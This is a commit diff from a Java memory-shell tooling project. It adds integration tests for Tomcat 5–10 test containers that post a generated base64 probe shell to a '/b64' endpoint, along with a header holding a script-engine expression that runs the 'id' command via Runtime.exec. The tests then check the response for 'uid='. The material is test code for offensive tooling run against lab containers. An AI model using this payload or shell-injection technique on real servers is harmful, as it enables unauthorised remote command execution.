mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: support script engine probe
This commit is contained in:
@@ -110,4 +110,36 @@ public class ProbeAssertion {
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.ScriptEngine)
|
||||
.debug(true)
|
||||
.shrink(true)
|
||||
.staticInitialize(true)
|
||||
.targetJreVersion(targetJreVersion)
|
||||
.build();
|
||||
String headerName = "X-Header";
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(server)
|
||||
.reqParamName(headerName)
|
||||
.build();
|
||||
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
String content = probeResult.getShellBytesBase64Str();
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add("data", content)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
|
||||
.url(url + "/b64").post(requestBody)
|
||||
.build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
assertThat(response.body().string(), anyOf(
|
||||
containsString("uid=")
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+7
@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+7
@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junitpioneer.jupiter.RetryingTest;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junitpioneer.jupiter.RetryingTest;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
|
||||
Reference in New Issue
Block a user